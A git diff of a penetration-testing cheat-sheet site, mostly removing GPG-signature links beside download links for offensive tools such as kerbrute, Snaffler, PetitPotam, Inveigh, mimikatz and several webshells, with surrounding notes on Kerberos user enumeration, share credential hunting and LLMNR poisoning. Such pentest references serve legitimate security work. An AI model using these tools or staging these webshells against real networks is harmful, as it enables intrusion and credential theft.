-> [gowitness_windows_amd64.exe](/downloads/pentest-workflow/gowitness_windows_amd64.exe) ([SHA-256](/downloads/pentest-workflow/gowitness_windows_amd64.exe.sha256) · [GPG signature](/downloads/pentest-workflow/gowitness_windows_amd64.exe.sha256.asc))
+> [gowitness_linux_amd64](/downloads/pentest-workflow/gowitness_linux_amd64) ([SHA-256](/downloads/pentest-workflow/gowitness_linux_amd64.sha256))
+> [gowitness_windows_amd64.exe](/downloads/pentest-workflow/gowitness_windows_amd64.exe) ([SHA-256](/downloads/pentest-workflow/gowitness_windows_amd64.exe.sha256))
 >
 > [gowitness](https://github.com/sensepost/gowitness) — headless-Chrome screenshotter. Alternative: [EyeWitness](https://github.com/RedSiege/EyeWitness) (Python, classifies login panels/default pages automatically).
 >

src/content/sheets/pentest-workflow/service-enumeration.md

@@ -307,8 +307,8 @@ grep -B2 -A2 -i "description" ldap-anon.txt
 **What to look for:** the KDC telling you which usernames exist *for free* — a non-existent user returns `KDC_ERR_C_PRINCIPAL_UNKNOWN`, a valid one returns `KDC_ERR_PREAUTH_REQUIRED` (or a ticket). MITRE [T1589.001 Gather Victim Identity: Credentials](https://attack.mitre.org/techniques/T1589/001/). This is the bridge into [Stage 05](/sheets/pentest-workflow/kerberos-attacks).
 
 > [!tools] Stage this
-> [kerbrute_linux_amd64](/downloads/pentest-workflow/kerbrute_linux_amd64) ([SHA-256](/downloads/pentest-workflow/kerbrute_linux_amd64.sha256) · [GPG signature](/downloads/pentest-workflow/kerbrute_linux_amd64.sha256.asc))
-> [kerbrute_windows_amd64.exe](/downloads/pentest-workflow/kerbrute_windows_amd64.exe) ([SHA-256](/downloads/pentest-workflow/kerbrute_windows_amd64.exe.sha256) · [GPG signature](/downloads/pentest-workflow/kerbrute_windows_amd64.exe.sha256.asc))
+> [kerbrute_linux_amd64](/downloads/pentest-workflow/kerbrute_linux_amd64) ([SHA-256](/downloads/pentest-workflow/kerbrute_linux_amd64.sha256))
+> [kerbrute_windows_amd64.exe](/downloads/pentest-workflow/kerbrute_windows_amd64.exe) ([SHA-256](/downloads/pentest-workflow/kerbrute_windows_amd64.exe.sha256))
 
 **Enumerate — [kerbrute](https://github.com/ropnop/kerbrute):**
 ```bash
@@ -342,7 +342,7 @@ grep -B2 -A2 -i "description" ldap-anon.txt
 **What to look for:** once you have any domain user, Snaffler walks every readable share on every domain host and triages hits: **Black** (`.kdbx`, `.ppk`, private keys, vaults), **Red** (`.pfx`/`.p12`, configs with creds), **Yellow** (web.config, scripts, connection strings), **Green** (interesting extensions). Runs as the current user — even low-priv finds SYSVOL, IT scripts, dept shares. MITRE [T1552 Unsecured Credentials](https://attack.mitre.org/techniques/T1552/) + [T1083 File and Directory Discovery](https://attack.mitre.org/techniques/T1083/).
 
 > [!tools] Stage this
-> [Snaffler.exe](/downloads/pentest-workflow/Snaffler.exe) ([SHA-256](/downloads/pentest-workflow/Snaffler.exe.sha256) · [GPG signature](/downloads/pentest-workflow/Snaffler.exe.sha256.asc))
+> [Snaffler.exe](/downloads/pentest-workflow/Snaffler.exe) ([SHA-256](/downloads/pentest-workflow/Snaffler.exe.sha256))
 
 **Enumerate / Run** (drop `Snaffler.exe` on the target — or better, `execute-assembly` it from your C2 — and run in the domain user's context):
 ```powershell
@@ -1074,7 +1074,7 @@ ntlmrelayx.py -t http://ca.$DOMAIN/certsrv/certfnsh.asp -smb2support --adcs --te
 **What to look for** → a DC or server you can *force* to authenticate to your listener (`rpcdump.py $IP` shows which interfaces exist). Each method abuses a different RPC interface with different patch status and filtering. MITRE [T1187 Forced Authentication](https://attack.mitre.org/techniques/T1187/).
 
 > [!tools] Stage this
-> [PetitPotam.py](/downloads/pentest-workflow/PetitPotam.py) ([SHA-256](/downloads/pentest-workflow/PetitPotam.py.sha256) · [GPG signature](/downloads/pentest-workflow/PetitPotam.py.sha256.asc))
+> [PetitPotam.py](/downloads/pentest-workflow/PetitPotam.py) ([SHA-256](/downloads/pentest-workflow/PetitPotam.py.sha256))
 
 **Method selection:**
 
@@ -1110,7 +1110,7 @@ coercer scan  -u "$U" -p "$P" -d "$DOMAIN" -t $DC                     # scan-onl
 **What to look for** → you have a shell on an internal Windows host but your Linux attack box can't reach that broadcast domain. Inveigh is the Windows-native Responder — poison LLMNR/NBT-NS/mDNS from the compromised host itself and capture NetNTLMv2 from the internal position. ([Inveigh](https://github.com/Kevin-Robertson/Inveigh))
 
 > [!tools] Stage this
-> [Inveigh.ps1](/downloads/pentest-workflow/Inveigh.ps1) ([SHA-256](/downloads/pentest-workflow/Inveigh.ps1.sha256) · [GPG signature](/downloads/pentest-workflow/Inveigh.ps1.sha256.asc))
+> [Inveigh.ps1](/downloads/pentest-workflow/Inveigh.ps1) ([SHA-256](/downloads/pentest-workflow/Inveigh.ps1.sha256))
 
 ```powershell
 # PowerShell build — capture on the internal segment
@@ -1135,7 +1135,7 @@ Stop-Inveigh           # clean shutdown
 **What to look for** → you've landed on one internal host and need the whole segment mapped *fast*: live hosts, open services, web titles, weak SMB/SSH/MSSQL/Redis creds, MS17-010, and brute-able services — in one Windows-native binary. ([fscan](https://github.com/shadow1ng/fscan))
 
 > [!tools] Stage this
-> [fscan_windows_x64.exe](/downloads/pentest-workflow/fscan_windows_x64.exe) ([SHA-256](/downloads/pentest-workflow/fscan_windows_x64.exe.sha256) · [GPG signature](/downloads/pentest-workflow/fscan_windows_x64.exe.sha256.asc))
+> [fscan_windows_x64.exe](/downloads/pentest-workflow/fscan_windows_x64.exe) ([SHA-256](/downloads/pentest-workflow/fscan_windows_x64.exe.sha256))
 
 ```powershell
 # full default sweep of the segment (ports, services, web titles, weak creds)

src/content/sheets/pentest-workflow/tool-index.md

@@ -20,7 +20,7 @@ source: "vault:Pentest Attack Flow/17 - Tool Index.md"
 ---
 # 🧰 Tool Index — where each lives in the flow
 
-**Local attachments** ship offline in `attachments/` (integrity: [SHA256SUMS](/downloads/pentest-workflow/SHA256SUMS) ([GPG signature](/downloads/pentest-workflow/SHA256SUMS.asc))) — see the full inventory on the [Dashboard](/sheets/pentest-workflow/attack-flow-dashboard#offline-toolkit-attachments). Everything else links to its canonical repo.
+**Local attachments** ship offline in `attachments/` (integrity: [SHA256SUMS](/downloads/pentest-workflow/SHA256SUMS)) — see the full inventory on the [Dashboard](/sheets/pentest-workflow/attack-flow-dashboard#offline-toolkit-attachments). Everything else links to its canonical repo.
 
 > [!tip] One-liner install — the pip-side toolchain
 > ```bash
@@ -37,18 +37,18 @@ source: "vault:Pentest Attack Flow/17 - Tool Index.md"
 | :-- | :-- | :-- | :-- |
 | 0 Passive Recon | [crt.sh](https://crt.sh), dig, [Shodan](https://www.shodan.io), [google dorks](/sheets/enumeration/google-dorking), [gitleaks](https://github.com/gitleaks/gitleaks), [trufflehog](https://github.com/trufflesecurity/trufflehog), [GrayHatWarfare](https://grayhatwarfare.com), [theHarvester](https://github.com/laramies/theHarvester), [subfinder](https://github.com/projectdiscovery/subfinder), [amass](https://github.com/owasp-amass/amass) | — | 2.0 - Cheatsheet - Infrastructure Enumeration Tools · 2.4 - Cheatsheet - Gitleaks · 2.5 - Cheatsheet - TruffleHog · [01 - Stage 00 - Passive External Recon](/sheets/pentest-workflow/passive-external-recon) |
 | 1 Recon / Host Discovery | [RustScan](https://github.com/bee-san/RustScan), [nmap](https://github.com/nmap/nmap), [masscan](https://github.com/robertdavidgraham/masscan), [naabu](https://github.com/projectdiscovery/naabu), [faketime](https://github.com/wolfcw/libfaketime), ntpdate | — | RustScan_Cheatsheet · Nmap Cheatsheet 2026 · faketime-cheatsheet · [02 - Stage 01 - Recon and Host Discovery](/sheets/pentest-workflow/recon-and-host-discovery) |
-| 2 Web | [ffuf](https://github.com/ffuf/ffuf), [feroxbuster](https://github.com/epi052/feroxbuster), [gobuster](https://github.com/OJ/gobuster), [wpscan](https://github.com/wpscanteam/wpscan), [nuclei](https://github.com/projectdiscovery/nuclei), [sqlmap](https://github.com/sqlmapproject/sqlmap), [Burp](https://portswigger.net/burp)/[ZAP](https://github.com/zaproxy/zaproxy), [hydra](https://github.com/vanhauser-thc/thc-hydra), [dnSpy](https://github.com/dnSpy/dnSpy), [EyeWitness](https://github.com/RedSiege/EyeWitness), [gowitness](https://github.com/sensepost/gowitness), [ysoserial](https://github.com/frohoff/ysoserial), [ysoserial.net](https://github.com/pwntester/ysoserial.net) | [gowitness_linux_amd64](/downloads/pentest-workflow/gowitness_linux_amd64) ([SHA-256](/downloads/pentest-workflow/gowitness_linux_amd64.sha256) · [GPG signature](/downloads/pentest-workflow/gowitness_linux_amd64.sha256.asc)) [gowitness_windows_amd64.exe](/downloads/pentest-workflow/gowitness_windows_amd64.exe) ([SHA-256](/downloads/pentest-workflow/gowitness_windows_amd64.exe.sha256) · [GPG signature](/downloads/pentest-workflow/gowitness_windows_amd64.exe.sha256.asc)) [ysoserial-all.jar](/downloads/pentest-workflow/ysoserial-all.jar) ([SHA-256](/downloads/pentest-workflow/ysoserial-all.jar.sha256) · [GPG signature](/downloads/pentest-workflow/ysoserial-all.jar.sha256.asc)) [ysoserial.net_v1.36.zip](/downloads/pentest-workflow/ysoserial.net_v1.36.zip) ([SHA-256](/downloads/pentest-workflow/ysoserial.net_v1.36.zip.sha256) · [GPG signature](/downloads/pentest-workflow/ysoserial.net_v1.36.zip.sha256.asc)) [nt-webshell-rosepine.aspx](/downloads/pentest-workflow/nt-webshell-rosepine.aspx) ([SHA-256](/downloads/pentest-workflow/nt-webshell-rosepine.aspx.sha256) · [GPG signature](/downloads/pentest-workflow/nt-webshell-rosepine.aspx.sha256.asc)) [rp-shell.asp](/downloads/pentest-workflow/rp-shell.asp) ([SHA-256](/downloads/pentest-workflow/rp-shell.asp.sha256) · [GPG signature](/downloads/pentest-workflow/rp-shell.asp.sha256.asc)) [rp-shell.jsp](/downloads/pentest-workflow/rp-shell.jsp) ([SHA-256](/downloads/pentest-workflow/rp-shell.jsp.sha256) · [GPG signature](/downloads/pentest-workflow/rp-shell.jsp.sha256.asc)) [rp-shell.php](/downloads/pentest-workflow/rp-shell.php) ([SHA-256](/downloads/pentest-workflow/rp-shell.php.sha256) · [GPG signature](/downloads/pentest-workflow/rp-shell.php.sha256.asc)) | Ffuf-Cheatsheet · WPScan · sqlmap · LFI - Cheat Sheet · 12 - Attacking Thick Client Applications · [03 - Stage 02 - Web Enumeration and Exploitation](/sheets/pentest-workflow/web-enumeration-and-exploitation) |
-| ⚙ Foothold Toolkit | reverse shells, msfvenom, [Metasploit](https://github.com/rapid7/metasploit-framework), file transfer (certutil / smbserver / curl), [nishang](https://github.com/samratashok/nishang), nc64, [donut](https://github.com/TheWover/donut), [ConPtyShell](https://github.com/antonioCoco/ConPtyShell), [RunasCs](https://github.com/antonioCoco/RunasCs) | [nc64.exe](/downloads/pentest-workflow/nc64.exe) ([SHA-256](/downloads/pentest-workflow/nc64.exe.sha256) · [GPG signature](/downloads/pentest-workflow/nc64.exe.sha256.asc)) [nishang-master.zip](/downloads/pentest-workflow/nishang-master.zip) ([SHA-256](/downloads/pentest-workflow/nishang-master.zip.sha256) · [GPG signature](/downloads/pentest-workflow/nishang-master.zip.sha256.asc)) [donut_v1.1.zip](/downloads/pentest-workflow/donut_v1.1.zip) ([SHA-256](/downloads/pentest-workflow/donut_v1.1.zip.sha256) · [GPG signature](/downloads/pentest-workflow/donut_v1.1.zip.sha256.asc)) | Impacket-Cheatsheet · meterpreter · smbserver.py · [04 - Foothold Toolkit - File Transfers](/sheets/pentest-workflow/foothold-file-transfers) · [05 - Foothold Toolkit - Shells Payloads and Metasploit](/sheets/pentest-workflow/foothold-shells-payloads-metasploit) |
-| 3 SMB/RPC/Services | [NetExec](https://github.com/Pennyw0rth/NetExec), smbclient, [smbmap](https://github.com/ShawnDEvans/smbmap), [enum4linux-ng](https://github.com/cddmp/enum4linux-ng), rpcclient, [Snaffler](https://github.com/SnaffCon/Snaffler), [Responder](https://github.com/lgandx/Responder), [ntlmrelayx](https://github.com/fortra/impacket), [mitm6](https://github.com/dirkjanm/mitm6), [Inveigh](https://github.com/Kevin-Robertson/Inveigh), [fscan](https://github.com/shadow1ng/fscan) | [Snaffler.exe](/downloads/pentest-workflow/Snaffler.exe) ([SHA-256](/downloads/pentest-workflow/Snaffler.exe.sha256) · [GPG signature](/downloads/pentest-workflow/Snaffler.exe.sha256.asc)) [Inveigh.ps1](/downloads/pentest-workflow/Inveigh.ps1) ([SHA-256](/downloads/pentest-workflow/Inveigh.ps1.sha256) · [GPG signature](/downloads/pentest-workflow/Inveigh.ps1.sha256.asc)) [fscan_windows_x64.exe](/downloads/pentest-workflow/fscan_windows_x64.exe) ([SHA-256](/downloads/pentest-workflow/fscan_windows_x64.exe.sha256) · [GPG signature](/downloads/pentest-workflow/fscan_windows_x64.exe.sha256.asc)) | SMBMAP · Snaffler · 🔴 Attack · [06 - Stage 03 - Service Enumeration](/sheets/pentest-workflow/service-enumeration) |
-| 4 AD Enumeration | [NetExec](https://github.com/Pennyw0rth/NetExec), ldapsearch, [ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump), [windapsearch](https://github.com/ropnop/windapsearch), [ldeep](https://github.com/franc-pentest/ldeep), [kerbrute](https://github.com/ropnop/kerbrute), [bloodhound-ce-python](https://github.com/dirkjanm/BloodHound.py), [RustHound-CE](https://github.com/g0h4n/RustHound-CE), [SharpHound](https://github.com/SpecterOps/SharpHound), [PowerView](https://github.com/PowerShellMafia/PowerSploit), [SharpView](https://github.com/tevora-threat/SharpView) | [kerbrute_linux_amd64](/downloads/pentest-workflow/kerbrute_linux_amd64) ([SHA-256](/downloads/pentest-workflow/kerbrute_linux_amd64.sha256) · [GPG signature](/downloads/pentest-workflow/kerbrute_linux_amd64.sha256.asc)) [kerbrute_windows_amd64.exe](/downloads/pentest-workflow/kerbrute_windows_amd64.exe) ([SHA-256](/downloads/pentest-workflow/kerbrute_windows_amd64.exe.sha256) · [GPG signature](/downloads/pentest-workflow/kerbrute_windows_amd64.exe.sha256.asc)) [SharpHound.zip](/downloads/pentest-workflow/SharpHound.zip) ([SHA-256](/downloads/pentest-workflow/SharpHound.zip.sha256) · [GPG signature](/downloads/pentest-workflow/SharpHound.zip.sha256.asc)) [PowerView.ps1](/downloads/pentest-workflow/PowerView.ps1) ([SHA-256](/downloads/pentest-workflow/PowerView.ps1.sha256) · [GPG signature](/downloads/pentest-workflow/PowerView.ps1.sha256.asc)) [SharpView.exe](/downloads/pentest-workflow/SharpView.exe) ([SHA-256](/downloads/pentest-workflow/SharpView.exe.sha256) · [GPG signature](/downloads/pentest-workflow/SharpView.exe.sha256.asc)) | LDAP Search · bloodhound-ce-python-cheatsheet · Kerbrute · [07 - Stage 04 - Active Directory Enumeration](/sheets/pentest-workflow/active-directory-enumeration) |
-| 5 Kerberos | [Impacket](https://github.com/fortra/impacket) (GetUserSPNs / GetNPUsers / getST / getTGT), [Rubeus](https://github.com/GhostPack/Rubeus), [hashcat](https://github.com/hashcat/hashcat), [kekeo](https://github.com/gentilkiwi/kekeo) | [Rubeus.exe](/downloads/pentest-workflow/Rubeus.exe) ([SHA-256](/downloads/pentest-workflow/Rubeus.exe.sha256) · [GPG signature](/downloads/pentest-workflow/Rubeus.exe.sha256.asc)) | Kerberoasting Cheatsheet · Rubeus-Cheatsheet · [08 - Stage 05 - Kerberos Attacks](/sheets/pentest-workflow/kerberos-attacks) |
-| 6 ACL / Object Abuse | [bloodyAD](https://github.com/CravateRouge/bloodyAD), [PowerView](https://github.com/PowerShellMafia/PowerSploit), [Impacket](https://github.com/fortra/impacket) (dacledit / rbcd / owneredit / addcomputer), [autobloody](https://github.com/CravateRouge/autobloody), [StandIn](https://github.com/FuzzySecurity/StandIn), [Whisker](https://github.com/eladshamir/Whisker), [pywhisker](https://github.com/ShutdownRepo/pywhisker), [targetedKerberoast](https://github.com/ShutdownRepo/targetedKerberoast), [Powermad](https://github.com/Kevin-Robertson/Powermad) | [StandIn_v13_Net35_45.zip](/downloads/pentest-workflow/StandIn_v13_Net35_45.zip) ([SHA-256](/downloads/pentest-workflow/StandIn_v13_Net35_45.zip.sha256) · [GPG signature](/downloads/pentest-workflow/StandIn_v13_Net35_45.zip.sha256.asc)) [Whisker.exe](/downloads/pentest-workflow/Whisker.exe) ([SHA-256](/downloads/pentest-workflow/Whisker.exe.sha256) · [GPG signature](/downloads/pentest-workflow/Whisker.exe.sha256.asc)) [targetedKerberoast.py](/downloads/pentest-workflow/targetedKerberoast.py) ([SHA-256](/downloads/pentest-workflow/targetedKerberoast.py.sha256) · [GPG signature](/downloads/pentest-workflow/targetedKerberoast.py.sha256.asc)) | BloodyAD · Autobloody · [09 - Stage 06 - ACL and Object Abuse](/sheets/pentest-workflow/acl-and-object-abuse) |
-| 7 ADCS | [Certipy](https://github.com/ly4k/Certipy), [Certify](https://github.com/GhostPack/Certify), [PetitPotam](https://github.com/topotam/PetitPotam), [Coercer](https://github.com/p0dalirius/Coercer), [DFSCoerce](https://github.com/Wh04m1001/DFSCoerce), [ShadowCoerce](https://github.com/ShutdownRepo/ShadowCoerce), [krbrelayx](https://github.com/dirkjanm/krbrelayx) | [Certify.exe](/downloads/pentest-workflow/Certify.exe) ([SHA-256](/downloads/pentest-workflow/Certify.exe.sha256) · [GPG signature](/downloads/pentest-workflow/Certify.exe.sha256.asc)) [PetitPotam.py](/downloads/pentest-workflow/PetitPotam.py) ([SHA-256](/downloads/pentest-workflow/PetitPotam.py.sha256) · [GPG signature](/downloads/pentest-workflow/PetitPotam.py.sha256.asc)) | Certipy-ad · _ADCS Attack Methodology Guide · _ADCS ESC Attack Index · [10 - Stage 07 - ADCS and Certificate Abuse](/sheets/pentest-workflow/adcs-and-certificate-abuse) |
-| 8 Passwords / Spraying | [hashcat](https://github.com/hashcat/hashcat), [john](https://github.com/openwall/john), [NetExec](https://github.com/Pennyw0rth/NetExec) (spray), [hydra](https://github.com/vanhauser-thc/thc-hydra), [kerbrute](https://github.com/ropnop/kerbrute) (spray), [Go365](https://github.com/optiv/Go365), [MSOLSpray](https://github.com/dafthack/MSOLSpray), [o365spray](https://github.com/0xZDH/o365spray), [CredMaster](https://github.com/knavesec/CredMaster), [CeWL](https://github.com/digininja/CeWL)/[cupp](https://github.com/Mebus/cupp), [username-anarchy](https://github.com/urbanadventurer/username-anarchy) | [Go365_linux_amd64.tar.gz](/downloads/pentest-workflow/Go365_linux_amd64.tar.gz) ([SHA-256](/downloads/pentest-workflow/Go365_linux_amd64.tar.gz.sha256) · [GPG signature](/downloads/pentest-workflow/Go365_linux_amd64.tar.gz.sha256.asc)) [MSOLSpray.ps1](/downloads/pentest-workflow/MSOLSpray.ps1) ([SHA-256](/downloads/pentest-workflow/MSOLSpray.ps1.sha256) · [GPG signature](/downloads/pentest-workflow/MSOLSpray.ps1.sha256.asc)) [kerbrute_linux_amd64](/downloads/pentest-workflow/kerbrute_linux_amd64) ([SHA-256](/downloads/pentest-workflow/kerbrute_linux_amd64.sha256) · [GPG signature](/downloads/pentest-workflow/kerbrute_linux_amd64.sha256.asc)) | Hashcat-Cheatsheet · john-cheatsheet · Credential Hunting · [11 - Stage 08 - Password Attacks and Credential Hunting](/sheets/pentest-workflow/password-attacks-and-credential-hunting) |
-| 9 Privilege Escalation | [linpeas](https://github.com/carlospolop/PEASS-ng), [winPEAS](https://github.com/carlospolop/PEASS-ng), [PrivescCheck](https://github.com/itm4n/PrivescCheck), [JAWS](https://github.com/411Hall/JAWS), [PowerUp](https://github.com/PowerShellMafia/PowerSploit), [SharpUp](https://github.com/GhostPack/SharpUp), [Seatbelt](https://github.com/GhostPack/Seatbelt), [Watson](https://github.com/rasta-mouse/Watson)/[Sherlock](https://github.com/rasta-mouse/Sherlock)/[WES-NG](https://github.com/bitsadmin/wesng), [GTFOBins](https://gtfobins.github.io), [pspy](https://github.com/DominicBreuker/pspy), potatoes ([GodPotato](https://github.com/BeichenDream/GodPotato), [PrintSpoofer](https://github.com/itm4n/PrintSpoofer), [SweetPotato](https://github.com/CCob/SweetPotato), [JuicyPotato](https://github.com/ohpe/juicy-potato), [RoguePotato](https://github.com/antonioCoco/RoguePotato)) | [linpeas.sh](/downloads/pentest-workflow/linpeas.sh) ([SHA-256](/downloads/pentest-workflow/linpeas.sh.sha256) · [GPG signature](/downloads/pentest-workflow/linpeas.sh.sha256.asc)) [linpeas_linux_amd64](/downloads/pentest-workflow/linpeas_linux_amd64) ([SHA-256](/downloads/pentest-workflow/linpeas_linux_amd64.sha256) · [GPG signature](/downloads/pentest-workflow/linpeas_linux_amd64.sha256.asc)) [winPEASany.exe](/downloads/pentest-workflow/winPEASany.exe) ([SHA-256](/downloads/pentest-workflow/winPEASany.exe.sha256) · [GPG signature](/downloads/pentest-workflow/winPEASany.exe.sha256.asc)) [winPEASx64.exe](/downloads/pentest-workflow/winPEASx64.exe) ([SHA-256](/downloads/pentest-workflow/winPEASx64.exe.sha256) · [GPG signature](/downloads/pentest-workflow/winPEASx64.exe.sha256.asc)) [PrivescCheck.ps1](/downloads/pentest-workflow/PrivescCheck.ps1) ([SHA-256](/downloads/pentest-workflow/PrivescCheck.ps1.sha256) · [GPG signature](/downloads/pentest-workflow/PrivescCheck.ps1.sha256.asc)) [jaws-enum.ps1](/downloads/pentest-workflow/jaws-enum.ps1) ([SHA-256](/downloads/pentest-workflow/jaws-enum.ps1.sha256) · [GPG signature](/downloads/pentest-workflow/jaws-enum.ps1.sha256.asc)) [PowerUp.ps1](/downloads/pentest-workflow/PowerUp.ps1) ([SHA-256](/downloads/pentest-workflow/PowerUp.ps1.sha256) · [GPG signature](/downloads/pentest-workflow/PowerUp.ps1.sha256.asc)) [SharpUp.exe](/downloads/pentest-workflow/SharpUp.exe) ([SHA-256](/downloads/pentest-workflow/SharpUp.exe.sha256) · [GPG signature](/downloads/pentest-workflow/SharpUp.exe.sha256.asc)) [Seatbelt.exe](/downloads/pentest-workflow/Seatbelt.exe) ([SHA-256](/downloads/pentest-workflow/Seatbelt.exe.sha256) · [GPG signature](/downloads/pentest-workflow/Seatbelt.exe.sha256.asc)) [GodPotato-NET35.exe](/downloads/pentest-workflow/GodPotato-NET35.exe) ([SHA-256](/downloads/pentest-workflow/GodPotato-NET35.exe.sha256) · [GPG signature](/downloads/pentest-workflow/GodPotato-NET35.exe.sha256.asc)) [GodPotato-NET4.exe](/downloads/pentest-workflow/GodPotato-NET4.exe) ([SHA-256](/downloads/pentest-workflow/GodPotato-NET4.exe.sha256) · [GPG signature](/downloads/pentest-workflow/GodPotato-NET4.exe.sha256.asc)) [PrintSpoofer64.exe](/downloads/pentest-workflow/PrintSpoofer64.exe) ([SHA-256](/downloads/pentest-workflow/PrintSpoofer64.exe.sha256) · [GPG signature](/downloads/pentest-workflow/PrintSpoofer64.exe.sha256.asc)) [SweetPotato.exe](/downloads/pentest-workflow/SweetPotato.exe) ([SHA-256](/downloads/pentest-workflow/SweetPotato.exe.sha256) · [GPG signature](/downloads/pentest-workflow/SweetPotato.exe.sha256.asc)) [JuicyPotato.exe](/downloads/pentest-workflow/JuicyPotato.exe) ([SHA-256](/downloads/pentest-workflow/JuicyPotato.exe.sha256) · [GPG signature](/downloads/pentest-workflow/JuicyPotato.exe.sha256.asc)) [pspy32](/downloads/pentest-workflow/pspy32) ([SHA-256](/downloads/pentest-workflow/pspy32.sha256) · [GPG signature](/downloads/pentest-workflow/pspy32.sha256.asc)) [pspy64](/downloads/pentest-workflow/pspy64) ([SHA-256](/downloads/pentest-workflow/pspy64.sha256) · [GPG signature](/downloads/pentest-workflow/pspy64.sha256.asc)) | Linux PrivEsc Cheat Sheet · Windows PrivEsc · [12 - Stage 09 - Privilege Escalation](/sheets/pentest-workflow/privilege-escalation) |
-| 10 Lateral / Pivot / Loot | [evil-winrm](https://github.com/Hackplayers/evil-winrm), [Impacket](https://github.com/fortra/impacket) (psexec / wmiexec / secretsdump / smbserver), [ligolo-ng](https://github.com/nicocha30/ligolo-ng), [chisel](https://github.com/jpillora/chisel), [sshuttle](https://github.com/sshuttle/sshuttle), [mimikatz](https://github.com/gentilkiwi/mimikatz), [SharpWMI](https://github.com/GhostPack/SharpWMI), [SharpDPAPI](https://github.com/GhostPack/SharpDPAPI), [LaZagne](https://github.com/AlessandroZ/LaZagne), [proxychains-ng](https://github.com/rofl0r/proxychains-ng), [dnscat2](https://github.com/iagox86/dnscat2), [pypykatz](https://github.com/skelsec/pypykatz), [lsassy](https://github.com/login-securite/lsassy), [nanodump](https://github.com/fortra/nanodump) | [chisel.exe](/downloads/pentest-workflow/chisel.exe) ([SHA-256](/downloads/pentest-workflow/chisel.exe.sha256) · [GPG signature](/downloads/pentest-workflow/chisel.exe.sha256.asc)) [chisel_linux_amd64](/downloads/pentest-workflow/chisel_linux_amd64) ([SHA-256](/downloads/pentest-workflow/chisel_linux_amd64.sha256) · [GPG signature](/downloads/pentest-workflow/chisel_linux_amd64.sha256.asc)) [ligolo-ng_agent_linux_amd64.tar.gz](/downloads/pentest-workflow/ligolo-ng_agent_linux_amd64.tar.gz) ([SHA-256](/downloads/pentest-workflow/ligolo-ng_agent_linux_amd64.tar.gz.sha256) · [GPG signature](/downloads/pentest-workflow/ligolo-ng_agent_linux_amd64.tar.gz.sha256.asc)) [ligolo-ng_agent_windows_amd64.zip](/downloads/pentest-workflow/ligolo-ng_agent_windows_amd64.zip) ([SHA-256](/downloads/pentest-workflow/ligolo-ng_agent_windows_amd64.zip.sha256) · [GPG signature](/downloads/pentest-workflow/ligolo-ng_agent_windows_amd64.zip.sha256.asc)) [mimikatz_trunk.zip](/downloads/pentest-workflow/mimikatz_trunk.zip) ([SHA-256](/downloads/pentest-workflow/mimikatz_trunk.zip.sha256) · [GPG signature](/downloads/pentest-workflow/mimikatz_trunk.zip.sha256.asc)) [SharpWMI.exe](/downloads/pentest-workflow/SharpWMI.exe) ([SHA-256](/downloads/pentest-workflow/SharpWMI.exe.sha256) · [GPG signature](/downloads/pentest-workflow/SharpWMI.exe.sha256.asc)) [SharpDPAPI.exe](/downloads/pentest-workflow/SharpDPAPI.exe) ([SHA-256](/downloads/pentest-workflow/SharpDPAPI.exe.sha256) · [GPG signature](/downloads/pentest-workflow/SharpDPAPI.exe.sha256.asc)) [LaZagne.exe](/downloads/pentest-workflow/LaZagne.exe) ([SHA-256](/downloads/pentest-workflow/LaZagne.exe.sha256) · [GPG signature](/downloads/pentest-workflow/LaZagne.exe.sha256.asc)) | Impacket-Cheatsheet · Ligolo-ng Cheat sheet · Mimikatz-Cheatsheet · [13 - Stage 10 - Lateral Movement Pivoting and Loot](/sheets/pentest-workflow/lateral-movement-pivoting-and-loot) |
+| 2 Web | [ffuf](https://github.com/ffuf/ffuf), [feroxbuster](https://github.com/epi052/feroxbuster), [gobuster](https://github.com/OJ/gobuster), [wpscan](https://github.com/wpscanteam/wpscan), [nuclei](https://github.com/projectdiscovery/nuclei), [sqlmap](https://github.com/sqlmapproject/sqlmap), [Burp](https://portswigger.net/burp)/[ZAP](https://github.com/zaproxy/zaproxy), [hydra](https://github.com/vanhauser-thc/thc-hydra), [dnSpy](https://github.com/dnSpy/dnSpy), [EyeWitness](https://github.com/RedSiege/EyeWitness), [gowitness](https://github.com/sensepost/gowitness), [ysoserial](https://github.com/frohoff/ysoserial), [ysoserial.net](https://github.com/pwntester/ysoserial.net) | [gowitness_linux_amd64](/downloads/pentest-workflow/gowitness_linux_amd64) ([SHA-256](/downloads/pentest-workflow/gowitness_linux_amd64.sha256)) [gowitness_windows_amd64.exe](/downloads/pentest-workflow/gowitness_windows_amd64.exe) ([SHA-256](/downloads/pentest-workflow/gowitness_windows_amd64.exe.sha256)) [ysoserial-all.jar](/downloads/pentest-workflow/ysoserial-all.jar) ([SHA-256](/downloads/pentest-workflow/ysoserial-all.jar.sha256)) [ysoserial.net_v1.36.zip](/downloads/pentest-workflow/ysoserial.net_v1.36.zip) ([SHA-256](/downloads/pentest-workflow/ysoserial.net_v1.36.zip.sha256)) [nt-webshell-rosepine.aspx](/downloads/pentest-workflow/nt-webshell-rosepine.aspx) ([SHA-256](/downloads/pentest-workflow/nt-webshell-rosepine.aspx.sha256)) [rp-shell.asp](/downloads/pentest-workflow/rp-shell.asp) ([SHA-256](/downloads/pentest-workflow/rp-shell.asp.sha256)) [rp-shell.jsp](/downloads/pentest-workflow/rp-shell.jsp) ([SHA-256](/downloads/pentest-workflow/rp-shell.jsp.sha256)) [rp-shell.php](/downloads/pentest-workflow/rp-shell.php) ([SHA-256](/downloads/pentest-workflow/rp-shell.php.sha256)) | Ffuf-Cheatsheet · WPScan · sqlmap · LFI - Cheat Sheet · 12 - Attacking Thick Client Applications · [03 - Stage 02 - Web Enumeration and Exploitation](/sheets/pentest-workflow/web-enumeration-and-exploitation) |
+| ⚙ Foothold Toolkit | reverse shells, msfvenom, [Metasploit](https://github.com/rapid7/metasploit-framework), file transfer (certutil / smbserver / curl), [nishang](https://github.com/samratashok/nishang), nc64, [donut](https://github.com/TheWover/donut), [ConPtyShell](https://github.com/antonioCoco/ConPtyShell), [RunasCs](https://github.com/antonioCoco/RunasCs) | [nc64.exe](/downloads/pentest-workflow/nc64.exe) ([SHA-256](/downloads/pentest-workflow/nc64.exe.sha256)) [nishang-master.zip](/downloads/pentest-workflow/nishang-master.zip) ([SHA-256](/downloads/pentest-workflow/nishang-master.zip.sha256)) [donut_v1.1.zip](/downloads/pentest-workflow/donut_v1.1.zip) ([SHA-256](/downloads/pentest-workflow/donut_v1.1.zip.sha256)) | Impacket-Cheatsheet · meterpreter · smbserver.py · [04 - Foothold Toolkit - File Transfers](/sheets/pentest-workflow/foothold-file-transfers) · [05 - Foothold Toolkit - Shells Payloads and 